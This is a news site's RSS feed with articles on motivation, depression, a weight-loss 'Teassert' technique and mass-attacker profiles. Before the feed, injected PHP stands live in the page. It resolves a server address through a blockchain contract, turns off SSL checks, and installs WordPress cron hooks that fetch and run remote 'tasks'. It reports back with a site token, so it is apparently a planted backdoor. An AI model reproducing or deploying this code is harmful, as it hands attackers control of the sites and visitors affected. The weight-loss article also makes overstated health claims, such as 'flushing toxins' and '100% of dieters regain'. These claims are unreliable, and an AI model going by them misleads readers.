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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); 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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); motivated – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 02 Oct 2018 07:34:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png motivated – Brief News https://briefnews.eu 32 32 What Motivates You And How to Always Stay Motivated https://briefnews.eu/what-motivates-you-and-how-to-always-stay-motivated/ https://briefnews.eu/what-motivates-you-and-how-to-always-stay-motivated/#respond Tue, 02 Oct 2018 07:34:10 +0000 http://briefnews.eu/what-motivates-you-and-how-to-always-stay-motivated/ When was the last time you wanted something very badly? Can you think of what drove you towards wanting that desire? And, if you did eventually achieve it, what were your motivations behind that?

When it comes to chasing after something you want, whether it’s a dream job, the car or house you’ve been dying to own, or even the love of your life, there are many forces that attract you towards that desire.

What Motivates You?

Chances are, if you were to look back at your journey towards that achievement, you would realize that at the heart of your motivation was having a specific Purpose. This is the most important driving factor allowing you to be motivated to work hard, or to find for solutions and ways to achieving your ultimate desire.

It’s important to have a purpose or objective because once you have that meaningful objective, it creates a force that either pushes you forward or pulls you towards it. This push and pull is the basic driving force behind every type of motivation. It can be broken down into two types: Intrinsic and Extrinsic Motivation. Understanding these two types of motivation in more depth will give you greater control over your self-motivation.

What is Extrinsic Motivation?

Let’s take a look at Extrinsic Motivation first. This occurs when we’re motivated to perform a behavior or engage in an activity to earn a reward or avoid punishment. Examples of this sort of motivation include studying because you want some form of approval from your parents, or cleaning your room to avoid being reprimanded by your parents. An extrinsic motivator could also be competing in a contest to win a cash prize or award.

In each of these examples, the behavior is motivated by a desire to gain a reward or avoid an adverse outcome. It’s common for individuals to engage in a behavior not because they enjoy it or find it satisfying, but to get something in return or avoid something unpleasant. This type of motivation is due to an external factor.

What is Intrinsic Motivation?

Now on the other hand, Intrinsic Motivation involves engaging in a behavior because it is personally rewarding. So in this case, you’re now doing an activity for its own sake rather than the desire for some external reward or factor. So this could be wanting to play your favorite songs on the guitar, or watching a comedy at the cinema.

These behaviors are motivated by internal desire. In other words, the behavior itself is the reward, and doesn’t have to be supplied by an external source.

What’s the Difference?

The key difference between Extrinsic and Intrinsic Motivation is that Extrinsic Motivation relies on an external reward or penalty, whereas Intrinsic Motivation rewards the behavior itself. If you now go back to think about the desires or achievements that you had in the past, were they extrinsically or intrinsically motivated?

The reason why many fail to find sustained drive is because they rely a lot on External Motivation. If you want to have long term and sustainable motivation, you really need more of it to be driven by Intrinsic Motivation. Why is that?

The answer is simple. Extrinsic Motivation relies on external rewards or penalties. Once that reward or penalty is gone, this source of motivation will disappear. Also, external rewards or penalties are always finite, and you’re usually not in control of them.

On the other hand, for Intrinsic Motivation — the activity itself is already the reward.  So it’s supply of “motivation fuel” can virtually be unlimited if nurtured properly.

How to Maximize Intrinsic Motivation?

Now that you know the importance of Intrinsic Motivation, the next step would be to maximize it and make it sustainable. As I mentioned earlier, Intrinsic Motivation is the key to long term, sustainable objectives. But, just having a meaningful objective is not enough. To make the most out of it, you have to nurture your Intrinsic Motivation.

It’s important to do so because Intrinsic Motivation can have diminishing returns. For example, you’re feeling thirsty, the weather is warm and you really just want to drink a can of Coke. It’d be great if you could have a coke in hand. Once you have it, it’s so satisfying drinking it. But, imagine I give you a second can, then a third can, and how about a fourth one? Your satisfaction will eventually diminish and you might even get sick of it. So this law of diminishing return occurs everywhere, even for our Intrinsic Motivation.

What Makes Up Intrinsic Motivation?

Before you can begin nurturing your Intrinsic Motivation, it’s good to know the factors that make up Intrinsic Motivation. This will equip you to level up on your Intrinsic Motivation better.

1. Challenge

The first factor is Challenge. It’s important to set a challenge in your objectives. Then the process of attaining that goal is seen as possible, but not necessarily certain. This way when you eventually overcome every obstacle to achieve that goal, that directly increases your self -esteem.

2. Curiosity

The second factor to maximizing Intrinsic Motivation, is having Curiosity. This is when something in the physical environment grabs your attention (sensory curiosity) or when the activity stimulates you to want to learn more (cognitive curiosity).

3. Control

The third factor is Control. This is the ability to have greater control over yourself and/or your environment so that you can determine what you pursue.

4. Cooperation and Competition

Lastly, we have Cooperation and Competition. This is the satisfaction that you gain from helping others, or pursuing a shared goal through mutual support and camaraderie.

It could also be the excitement and satisfaction from putting your skills and performance against others, and using it as a yardstick to push your own progress.

Nurture Your Intrinsic Motivation

Now that you know the main factors contributing to Intrinsic Motivation, you can focus on nurturing each factor to level up your Intrinsic Motivation.

Once you’ve nurtured your Intrinsic Motivation, you’ll start to rely less on Extrinsic Motivations and you’ll find that your perseverance and drive to achieve something becomes much more enhanced.

You will find greater autonomy and independence too, knowing that you need not rely on external sources for acknowledgement, recognition or rewards.

If you’re ready to embrace true motivation and want to learn how to nurture your Intrinsic Motivation, subscribe to our newsletter today and start your journey to success.

]]> https://briefnews.eu/what-motivates-you-and-how-to-always-stay-motivated/feed/ 0 How to Get Motivated When Depressed and Frustrated https://briefnews.eu/how-to-get-motivated-when-depressed-and-frustrated/ https://briefnews.eu/how-to-get-motivated-when-depressed-and-frustrated/#respond Wed, 12 Sep 2018 20:00:02 +0000 http://briefnews.eu/how-to-get-motivated-when-depressed-and-frustrated/ Feeling down?You’re not alone.According to the National Institute of Mental Health, over 16 million adults over age 18 had a major depressive episode in the United States in 2016 alone.((National Institute of Mental Health: Major Depression))And that doesn’t include the more common forms of depression and frustration that consume most of us on an all-too-regular basis.In this article, we’re going to look into the reasons why you may feel depressed and frustrated and how to get motivated when depressed.

First, are you really depressed?

The signs and symptoms of depression on legion.Depression can create feelings of apathy, discontent, hopeless, sadness and guilt.Depressive episodes can affect your sleep cycles, leading to restlessness, insomnia or excessive sleepiness.Behaviorally, in a depressive state, individuals experience more frustration and agitation.Depression can influence your appetite (in either direction), your cognitive functioning (lack of focus), and your level of energy (fatigue).Okay, so let’s say you’re saying, “Check, check, and check.”What’s next? Let’s explore some of the potential reasons why we get depressed.

7 common reasons for depression and frustration

Scan this list with an open mind and see which ones resonate with you. Often there are multiple factors that trigger our emotional states.

  • Repressed rage: When we are de-pressed, we are pushing down other emotions and feelings. The most common emotion that we push out of our awareness is anger and rage.
  • Unacknowledged envy: For many of us, envy silently eats away at our motivation each day. When we’re not conscious of our envy, it can quickly lead to depression.
  • Unmet basic needs: Abraham Maslow found that we all have basic human needs for safety, belonging, and self-esteem. When we don’t meet these needs sufficiently, we become neurotic. Depression and anxiety are common forms of neurosis.((Scott Jeffrey: Decoding Maslow’s Human Needs to Understand Your Behavior and Psychological Development))
  • Life circumstances: If you’re going through a divorce or the loss of a loved one, depression and sadness is a common experience.
  • Something doesn’t go your way: You want something to happen—a promotion, a date, etc.—but it doesn’t happen. These circumstances often trigger frustration and can lead to depression.
  • Repressed desires: When we don’t get what we want, we get frustrated. When we don’t even acknowledge what we want, we get depressed. Sometimes these desires are reasonable; other times, they are tyrannical.
  • Living out of alignment: Perhaps you’ve made choices that defy who you are. Or, you’re behaving in ways that go against your personal core values. Making poor decisions and living out of accord with our values, is a sure path to depression and discontent.

What’s next? How do you get motivated when you’re depressed?

The standard approach: What not to do

When most people feel depressed, they try to “push through it.”In a culture that has a bias toward happiness, we believe depression is a bad thing. If we have depression, we need to change it right away.And how do we go about changing it? By using brute force—pushing ourselves to do that which we don’t want to do.But here’s the most valuable lesson anyone can learn about their subconscious mind:What we resist, persists.What does this mean?Resisting depression or frustration will not only prolong its existence; it may even make it stronger. So, when we try to motivate ourselves through sheer will, we are feeding the very monster we’re trying to overcome.

The alternative approach: Self-awareness

Instead of trying to push through depression, learn from it. It’s there for a reason; a part of you is trying to tell you something.Do you know what it’s trying to tell you?Many times, just getting clarity on the source of the depression can reduce it if not release it entirely.This approach is powerful, but there are two good reasons we don’t take it:

  1. It can be uncomfortable to face the truth behind our depression and frustration. And we often do what we can to avoid discomfort.
  2. The source of our depression and frustration isn’t always obvious. Without sufficient self-awareness skills, we may not be fully conscious of the cause of depression.

3 powerful approaches to overcoming depression

Martin Seligman is considered the father of positive psychology. Early in his career, he specialized in studying depression.In his groundbreaking book, Learned Optimism, Seligman highlights that depression is a form of learned helplessness. Learned helplessness occurs when a problem appears:

  • Personal
  • Permanent
  • Pervasive

When these three Ps are present, we feel hopeless and get depressed. The methods that follow are designed to help shift you out of the feeling that your problems are personal, permanent, and everywhere.I’ve come to appreciate the power of taking a multi-dimensional approach to things like depression. Different methods will work for different people, and at different times, so experiment until you find what works for you.These approaches fall into three categories: mental, emotional, and physical.

Emotional strategies for depression

If you’re aware of your depression and what’s causing it, you can try going deeper into the emotion itself.Remember, depression is just a state. You’re not the depression itself.Try to find the “center” of the depression, and you may realize that it has none. Then, the depression will disappear on its own.Alternatively, you can express your depression and frustration. Go into a private space, like the bathroom, and talk to the depressed part in the mirror. See what it wants and needs. Often, merely allowing this sad part to express itself can resolve the depression.

Mental strategies for depression

You can also try a meditation technique. Access what’s called the Observing Mind—the part of you that can observe or witness your thoughts, feelings, and behaviors. Use this Observing Mind to simply watch the depression.By observing your depression, it creates “distance” between you and this depressive part. And with this distance often comes a different perspective about your life circumstances.Alternatively, go on Youtube.com and watch a few videos of individuals living in environments that have significantly fewer opportunities than you have. This contrast may reduce the perceived importance of the causes of your depression and frustration, allowing you to shift to a new mental state.

Physical strategies for depression

Some of the most powerful things we can do to shift out of depression and into a more empowered state are physical.Here’s a list of things you can try:

  • Take a cold shower. Evidence continues to show that exposure to cold activates numerous brain functions that help alleviate depression.
  • Exercise. Numerous studies show that exercise helps reduce depression by increasing endorphins and getting us out of heads.((Prim Care Companion J Clin Psychiatry: The Benefits of Exercise for the Clinically Depressed)) Exercise for a minimum of 30 minutes or more at least 3 to 5 times each week. What exercise? It doesn’t matter. Just move! The key is to find something you enjoy doing.
  • Trauma release exercises. Depression and chronic fatigue is often a result of emotions like anger, fear, and sadness getting stored in the body. Trauma release exercises((TRE: Tension & Trauma Releasing Exercises)) are designed to release these stored emotions.
  • Do something outrageous. Similar to taking a cold shower, try doing something outrageous—anything that “breaks your patterns,” as they say in neuro-linguistic programming. Push-ups, jumping jacks, or jumping rope can work. You can even try putting your head out the passenger window in a car.
  • Be mindful of what you eat and drink. When we’re depressed, we often seek to feel better by consuming foods and drinks that only add to the depression. Sugar and alcohol consumption will likely prolong your misery. Instead, eat foods that help fight depression.
  • Avoid social media. Research continues to link social media usage with an increase in depression and anxiety. This study, for instance, shows that the more people use Facebook, the worse they feel.((Harvard Business Review: A New, More Rigorous Study Confirms: The More You Use Facebook, the Worse You Feel))
  • Ground yourself. A grounding technique as simple as walking barefoot on the earth for 20 minutes once or twice a day can have a tremendous effect on our emotional wellbeing. How? Grounding is an easy way get out of our head and into our body. The more rooted we are in our body, the less rumination we experience, which can break the cycle of depression.

The best long-term methods to optimism

All of the above strategies can help you overcome depression and frustration, but the best long-term approaches to getting motivated in the face of depression are to develop your strengths and cultivate gratitude.

Playing to your strengths

Seligman and others developed a free assessment to highlight your signature strengths. His research suggests that the best way to ensure happiness in the present is to develop yourself and play to your strengths as much as you can.((Martin E. P. Seligman: Authentic Happiness: Using the New Positive Psychology to Realize Your Potential for Lasting Fulfillment))

Cultivating gratitude

Depression is largely the result of our minds fixating on what we don’t have. Gratitude is an expression of the opposite: by being grateful, we are acknowledging all of the things we have right now.There’s significant evidence that maintaining a gratitude journal where you highlight three things that you’re grateful for each day can have a measurable impact on your wellbeing within 30 days.((Greater Good Magazine: How Gratitude Changes You and Your Brain))

Final thoughts

So how do you get motivated when depressed or frustrated?Remember, what you resist, persists. Trying to motivate yourself in the face of depression can potentially make the depression stronger.Instead, accept what you’re feeling right now. But at the same time, you’re not what your feelings.Depression and frustration may be experiences in you, but they are not what you are.Understanding the real source of your depression can be infinitely more helpful than trying to “push through it.” Then, focus on things you can do to foster a more empowering emotional state right now.Approach depression with the physical, emotional and mental strategies highlighted above and your motivation will naturally arise in due time.

]]> https://briefnews.eu/how-to-get-motivated-when-depressed-and-frustrated/feed/ 0 How to Get Motivated to Lose Half a Pound a Day (A Health Coach’s Hack) https://briefnews.eu/how-to-get-motivated-to-lose-half-a-pound-a-day-a-health-coachs-hack/ https://briefnews.eu/how-to-get-motivated-to-lose-half-a-pound-a-day-a-health-coachs-hack/#respond Fri, 06 Apr 2018 02:42:54 +0000 http://briefnews.eu/how-to-get-motivated-to-lose-half-a-pound-a-day-a-health-coachs-hack/

Last summer, I ran a 20-day experimental program where 513 Western women were given one simple, fun, and powerful Asian slimming tip to try each day. People who followed through the program lost a stunning amount of weight naturally. However, the most interesting part of it was one surprising fact we’ve found about motivation when it came to weight loss.

To show you that, I need to tell you about this Teassert Technique I included as a part of the program. The technique was aimed at muting sugar cravings instantly. If you’ve been trying to lose weight for a while, you’d know it’s one of the toughest challenges among thousands of millions of overweight and obese people in the US.

In this article, I will teach you a four-part system to get motivated to lose weight (while continually losing weight) without trying.

How the Teassert Technique helps you to get motivated to lose weight

How much motivation does it require a someone who has sugar addiction to refrain herself from sugar every hour, every day, and every year? The conventional wisdom is “a lot.

Now don’t be shocked. The foolproof Teassert Technique has led everyone to an amazing shortcut, and here’s how it worked:

Whenever you have that donut, put a warm green tea on the side. For every bite of the donut, have 3 sips of the tea.

The result? You’ll stop wanting donut instantly.

In fact, the “teassert” (tea + dessert) is a millennia-old East Asian tradition that’s not uncommon to see in almost every household in China, Korea, and Japan. The rationale is to use the bitter tastants in green tea to counteract your body’s sugar response as the modern science has found out.

Without surprises, this technique worked out magically among my participants, and I kept getting exciting emails from people saying things like ”my 11-year sugar craving is gone overnight!”

Afterward, I sent an email to all my the Teassert users who have struggled over sugar craving for at least 5 years and asked them: “was Teassert easy?”

The answer was unanimous “yes!”

“Do you think you can do it effortlessly every day?”

“HELL YEAH!”

Apparently, those who no longer binged sugar managed to dramatically slash their calorie intake. Furthermore, the inflammation and toxins in their body were drastically decreased, making it 10X easier for them to feel satiated at meals and increase energy burn.

And the most important thing? It all happened automatically because instead of fighting against the craving, it was muted even before it was felt.

Almost overnight, these people’s reality has changed.

And that’s how motivation — even though traditionally perceived as the king in weight loss — was made completely irrelevant.

Part 1. Do this, or get stuck.

To avoid being stuck when losing weight, you need to quit the “willpower game.” To explain this philosophy, let me give you an example:

In martial arts, the savviest victors conquer by – not exhausting his physical power by overly exerting force – but leveraging the enemy’s physical potential, torque, and his natural tendency to lead him into falling.

That way, the victor can reserve his physical power and energy while keeping himself calm, grounded, and laser-focused — leaving his rival self-weakening in dire panic, desperation, and exhaustion.

In fact, that’s essentially what we manage to manifest in Teassert. By using the bitter taste in the particular types of tea to turn off the body’s want of sweets, the physical and psychological barriers are automatically cleared.

No more being stressed, depressed, or guilty whenever you see that chocolate bar. And because it’s so easy, the person using Teassert no longer had that motivation crisis when facing dessert.

In the end, she quit the willpower game — the game where she was constantly dieting, counting calories, restricting carbs, using disciplines to judge herself, depriving herself, and never enjoyed a single family meal for years.

Quitting the willpower game

That’s what I want to teach you to do too. You can find many good ideas on how to turn the “willpower game” into something simple and pleasurable. Teassert would be a great start if you struggle with the sugar craving.

Besides that, there are many good ideas to use to overcome different struggles. The key is to use the natural physical tendency — instead of disciplines — to channel your behaviors.

For instance:

  • Using a bit of minced ginger in your meals so that you’ll naturally want to eat less because ginger helps you curb your appetite instantly.
  • Drinking a cup of water after every meal to not only boost satiety but also hydrate your body to flush out the toxins — making your digestive tract healthier and clearing inflammation.
  • Learning to make some light stir-fry and steamed dishes so that you can enjoy nutrition while eating fewer calories without counting.

These moves seem to be trivial, but they are a part of a typical healthy person’s life and thinking. And when connected together throughout time, you get the synergy that helps you melt away fat while feeling accomplished and relaxed.

To the contrary, if you keep depriving yourself and fighting hunger, you’ve already lost even before you start because hunger is a natural force that is unbeatable.

There will be nothing to save your motivation because no matter what you do, you cannot win.

So do not play that “willpower game” to begin with. Instead, use the natural tendency of foods, body, and emotions to create an experience that fuels results, confidence, and motivation.

Exactly like what Sun Tzu taught us 2000 years ago in his Arts of War, excellence resides in winning without entering a battle (不战而胜， 善之善者也). This long-standing battlefield wisdom works the same well when the biggest opponent you are trying to outwit is yourself.

Part 2. The hidden conviction that makes weight loss 100x harder and kills motivation

So I just walked you through the idea of how the toughest cravings can be instantly silenced by taking one simple action.

I also told you to avoid the willpower game whenever possible.

And if you are an observatory person, you might have sensed the connotation behind it: weight loss is not supposed to be a willpower game.

“But weight loss is hard!”

There seems to be strong enough social proof for that statement considering how many people have been saying that during all these years of dieting.

However, look around and ask yourself: how many times does this statement come from people who have successfully lost weight for real and kept it off for years while living like a normal person?”

I bet none.

Is it pure coincidence, or is there a causal relationship? Is not being successful in weight loss makes one think it’s hard? Or is thinking that it’s hard causing one to fail?

Reset your powerful inner voice

You may already know that your thinking shapes your reality, and thinking “it’s hard” can deter you and suck up your motivation from the outset.

However, did you ever realize that in terms of demotivation, the real culprit is the “because” that comes right after the statement — the hidden conviction that’s unspoken yet overpowering.

That’s especially true for one of my experiment participants Sara. For over a decade, Sara has told herself “I can’t lose weight because of my genes.” And you’d know she was just one of a whole group of “gene doubters” through a brief scan over the mainstream weight loss forums out there.

By telling herself that it’s a genetic issue, Sara has developed a conviction and self-view that — even though being radically untrue — has dominated her for more than 10 years.

She never had motivation because her “problem” was impossible to solve. She was depressed about this.

Even though all she wanted was to lose 20 lbs, she ended up running 2000 extra miles on questioning her own being for 10 years.

She not only made weight loss 100 times harder but also sabotaged her self-worth, self-pride, and believed in the “disability” that never existed — just because of that one-line conviction she created for herself.

Not everybody doubts their gene as Sara did, but you know you are similarly affected by your own conviction whenever thoughts like the following ones pop up:

  • “Maybe my body is supposed to be overweight because I’ve dieted so hard to lose weight but never got off anywhere.”
     (My comment: 100% people who lost weight by depriving themselves gain their weight back. Dieting is the dead end. Your body isn’t. )
  • “I’ve been dieting for so long. It’ll be impossible for me to lose weight because my metabolism is screwed by dieting.”
    (Where did you learn that?)
  • “I can’t lose weight because all my family is overweight.”
    (What would you say to your kids if they have the same belief one day?)
  • “It’s hard because I can barely find time for that.”
     (Does it really require that much time?)
  • “It’s hard because I don’t think I deserve to be beautiful.”
    (Really? Who told you that, beautiful? )

You see the words behind every “because” and how much they sound to be true. But most of the times they aren’t the truth, and they only exist because we tend to justify a thought with something that we can’t let go of. When there’s conviction, motivation dies.

The key takeaway: do not fall for the convictions. But if you are guilty already, here’s your solution in the next section.

“But hang on a second, Leslie! You haven’t yet told me why weight loss isn’t hard even if every dieter says it is!”

Because conventional wisdom is always wrong. That’s why 100% dieters gain back what they lose through dieting. Are you, too, playing the “willpower game?”

Part 3. How to relaunch motivation in one simple step

So how did Sara break free from her long-standing belief that her genes were the unstoppable force that held her back, which enabled her to regain motivation and lose a size effortlessly in only 3 weeks?

Through a proof.

When she managed to lose her first 5 lbs in two weeks just through the Teassert Technique, the conviction that her gene made it impossible to lose weight fast smashed into pieces all of a sudden.

It only took her two weeks to overthrow the self-view that she has been living by for 10 years! The curse was gone and her motivation went sky high right at that instance.

This is what I want to share with you in this section:

To boost motivation, you need to level up your experience with quick wins! The key is to target the right wins because otherwise, you’ll feel even more frustrated weeks after weeks.

So what will you target as a quick win?

“Losing 5 lbs in 2 weeks as Sara did!” — You call it out enthusiastically.

Sure, I don’t disagree with you on that because it’s possible. However, there’s one thing you need to realize: REAL weight loss is a byproduct of a set of good eating and living patterns, just like a good-looking transcript is a byproduct of intelligence and hard work.

And by the way, Sara did not lose 5 lbs (and later, 23 lbs in total) because she made it her goal. Instead, she lost the weight through learning to intuitively distance herself away from added sugar — that’s a skill that will help you slash off the pounds continuously and it will last as long as you live!

That’s why she lost 5 lbs, effortlessly. Are you going to diet your way to lose 5 pounds feeling deprived, or are you going to do this in a more safe, pleasurable, and meaningful way?

Now, let me take myself as another example:

When I lost my first 14 lbs during a vacation back at home in China — with no crazy dieting but just living a normal person’s life, that was pretty satisfying and healthy. It gave me massive confidence because I knew this could be easily carried out in the long run.

I won’t need to worry about gaining the weight back because I didn’t deprive myself of weight loss to start with. That made it even more promising. Then, my pure focus/quick win became whether I was following the takeaways that I learned from that experience. As long as I was, I was happy.

To sum it up: the motivation that Sara and I have gained was not because we lost 5 lbs or 14 lbs. We were motivated because we knew we were able to lose weight fast for real in the way we were doing it. No doubts.

So what could be the right targeted quick wins for you?

Setting the right targeted quick wins

It needs to be something that makes you confident, thinking that “I’m capable of doing this.” It can’t be another dead end like those twenty-something diets you’ve already gone through.

Everyone’s situation is different, but here let me throw some ideas for you to chew on:

  • How about learning control? If you’ve been dealing with sugar cravings for years, you must be ecstatic to find yourself easily putting down that brownie after the first bite without a second thought, right? Perhaps using Teassert as it’s a great technique that gives you the win and gratuity immediately.
  • How about building comfort? Instead of aiming at running 5K/day and exhausting yourself, wouldn’t it be more joyful to learn to make one quick, delicious, and healthy recipe that you relish?
  • How about targeting convenience? Instead of banning carbs knowing it’ll bring you back to square one too soon, wouldn’t it be more promising to start phasing out of soda intake by cutting 50% first?

Ultimately, what you are doing is creating an experience of a series of wins vs. defeats.

Take my words for granted: you will be guaranteed to see quick results on the scale when you start making these easy changes in a structured and consistent way.

Why? Because like all human beings, if you live healthily, you become healthy, and you lose weight. The difference is how to make the change process easy, smooth, and sustainable.

Part 4. How to revive motivation when “things aren’t working!”

I know how stressful it is in general to find things you’ve given a lot of hope in aren’t working. In weight loss, it’s even more discouraging because it always triggers a deep, resounding doubt:

“What’s wrong with me?”

Then you feel stuck and paralyzed, not knowing what to do next.

I’d like to have the following conversation with people who pull their hair when finding things don’t work.

  • Me: Do you think there’s any chance you can be an exception of all human beings and defy the universal physics and biological rules, and not have a healthy body when you make your meals 50% vegetables in portion size, eat in balance, cut off the junk food, go minimal on added sugar, stop overeating, eat a lot less calories (without counting), clear your body’s inflammation, and improve your digestive system?
  • Her: No.
  • Me: Then what are you worried about?
  • Her: I don’t know. I guess I’m stressed out because I’m not losing 5 lbs a week as I used to be on Diet X. So I thought it wasn’t working.
  • Me: It means you are not rushing into another failure with firm and steady progress. And you don’t like that?

Usually, that line ends the problem.

Alternatively, the person may realize that she’s not doing things right to start with. She has been playing this “willpower game” which makes her mind and body rebel throughout the long-term deprivation.

She has been on the road to self-sabotaging, which is a dead end. And her current results — compared to all her sacrifices — aren’t dramatic enough to keep her feel they are worthy. Therefore she’s demotivated.

If that’s the case, this conversation will make her rethink her approach and refocus herself with a refreshed mind.

Have a clear plan in your mind

One of the most common scenarios where people lose motivation is when they feel stuck and don’t know what’s the next step to take. In this case, whichever direction the conversation goes, there’s always a plan and a solution — you either realize that you’ve been doing pretty good so that you’ll just keep going, or you see an immediate opportunity to fix things that don’t work for you.

Having a plan is the recipe for thriving motivation. So whenever you are frustrated that “things aren’t working,” have this self-check dialogue with yourself and see where it leads you.

Summing it up

In this article, I’ve walked you through a four-part system to have endless motivation (while continuously losing weight) without trying.

The individual parts of the system are deeply interconnected with each other. And they are the bones and give you the main direction for everything else that you might use to further boost your motivation.

Notice besides showing you the four basic principles for thriving motivation, I did not touch on many of the quick motivation hacks you can find everywhere on the internet nowadays — for instance, finding an accountability partner, making a gratitude list, meditating every morning, and things alike.

In fact, you need to be careful when using these tips. If you are making efforts towards the wrong direction — say, a self-sabotage diet, applying these tips are only going to accelerate failures and frustration and lead you to the bigger, deeper emotional turmoil.

That’s why we need to focus on the very basics, creating a system where we are never going to be deprived of motivation to start with. The first step, if you still remember, is to avoid over-exhausting ourselves when unnecessary.

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]]> https://briefnews.eu/how-to-get-motivated-to-lose-half-a-pound-a-day-a-health-coachs-hack/feed/ 0 Police Say YouTube Policies Motivated Shooter Nasim Aghdam https://briefnews.eu/police-say-youtube-policies-motivated-shooter-nasim-aghdam/ https://briefnews.eu/police-say-youtube-policies-motivated-shooter-nasim-aghdam/#respond Wed, 04 Apr 2018 20:12:27 +0000 http://briefnews.eu/police-say-youtube-policies-motivated-shooter-nasim-aghdam/ San Bruno police identified the attacker as Nasim Najafi Aghdam, a woman in her late 30s from San Diego.


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]]> https://briefnews.eu/police-say-youtube-policies-motivated-shooter-nasim-aghdam/feed/ 0 Motivated by vendetta or personal grievance: Secret Service report describes the average mass killer https://briefnews.eu/motivated-by-vendetta-or-personal-grievance-secret-service-report-describes-the-average-mass-killer/ https://briefnews.eu/motivated-by-vendetta-or-personal-grievance-secret-service-report-describes-the-average-mass-killer/#respond Thu, 29 Mar 2018 22:00:01 +0000 http://briefnews.eu/motivated-by-vendetta-or-personal-grievance-secret-service-report-describes-the-average-mass-killer/ The average mass attacker in America is not an ISIS terrorist or a child with an AR-15. He is male, middle-aged, and aggressively self-centered. He has a history of mental illness and is fuelled by a personal vendetta.

That is according to the US Secret Service, which profiled the perpetrators of the 28 mass attacks that took place in public places in the United States last year, from Orlando to Las Vegas. These incidents – defined as attacks in which three or more people were harmed – claimed the lives of 147 people and injured nearly 700 others.

John Robert Neumann was one of these perpetrators. After an honorable discharge from the Army in 1999, the 45-year-old had a history of petty crimes, including a driving offence in 2000, possessing stolen property in 2003, marijuana possession and leaving the scene of an accident in 2009.

Neumann worked for Fiamma, an Orlando company that manufactures RV awnings, until 2017, when he was fired in April for starting fights with co-workers. This was not without precedent. In 2014, Neumann was accused of battering a colleague, who later dropped the charges.

After his firing, one of Neumann’s managers, Robert Snyder, was fearful he would return to exact his revenge. On June 5, Snyder’s fear came true. Armed with a handgun and several knives, Neumann slipped into the factory through a rear door, where he singled out five former co-workers, including Snyder, and executed them with shots to the head.

Neumann allowed several other workers to escape and committed suicide as deputies closed in on the scene.

Neumann is a typical mass attacker, according to the Secret Service’s study. All of the perpetrators profiled in the study were male, and Neumann was just above the average age of 37. All age groups are represented fairly evenly in the study, with the exception of those over the age of 55, who make up only seven percent of all mass attackers.

Like Neumann, 54 percent of the subjects had a history of illicit substance abuse, including alcohol and marijuana. Another 71 percent also had criminal histories, including non-violent (57 percent) and violent (54 percent) offences.

One-third of the subjects, like 26-year-old Devin Patrick Kelley, had a history of domestic abuse. Kelley had been jailed in 2012 for brutally abusing his wife and stepson, and was investigated for rape and sexual assault in 2013.

On November 5, 2017, Kelley entered a Baptist church in Sutherland Springs, Texas, and opened fire with a semiautomatic rifle. Kelley killed 26 people and injured 20 before turning the gun on himself and taking his own life.

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Neumann and Kelley are typical in that they killed not for an ideology or belief, but for personal reasons. In total, 41 percent of the 28 attackers were motivated by personal vendettas. Twenty-one percent of these grievances came from the workplace. The attacks that involved subjects who pre-selected their targets, as happened in Neumann’s case, are typical of attacks stemming from workplace grievances.

Robert Snyder was right to be fearful of Neumann too. Eight out of 10 attackers behaved in a way that raised concerns among their colleagues or friends. Like Neumann, 32 percent committed suicide after the attack.

Mental health problems are another common trait of mass attackers. Sixty-four percent experienced some mental health symptoms prior to striking, including paranoia, delusions, hallucinations, suicidal thoughts and depression. Eighty-two percent were described as “aggressively self-centered.”

While killers like Neumann were personally motivated to take violent revenge on those around them, 25 percent were motivated by ideology. These ideologies ranged from government conspiracy theories and white supremacy, to radical black nationalism and radical Islam.

White supremacy motivated 20-year-old James Alex Shields to plow his Dodge Challenger into a crowd of protesters in Charlottesville, Virginia; and radical Islam motivated Sayfullo Habibullaevic Saipov to mow down pedestrians in New York in the name of ISIS. However, according to the study, five of the seven attackers who were motivated by ideology, also suffered from paranoia, hallucinations or delusions. Moreover, for two of the attackers, their psychoses played “a dominant role” in the adoption of their belief systems.

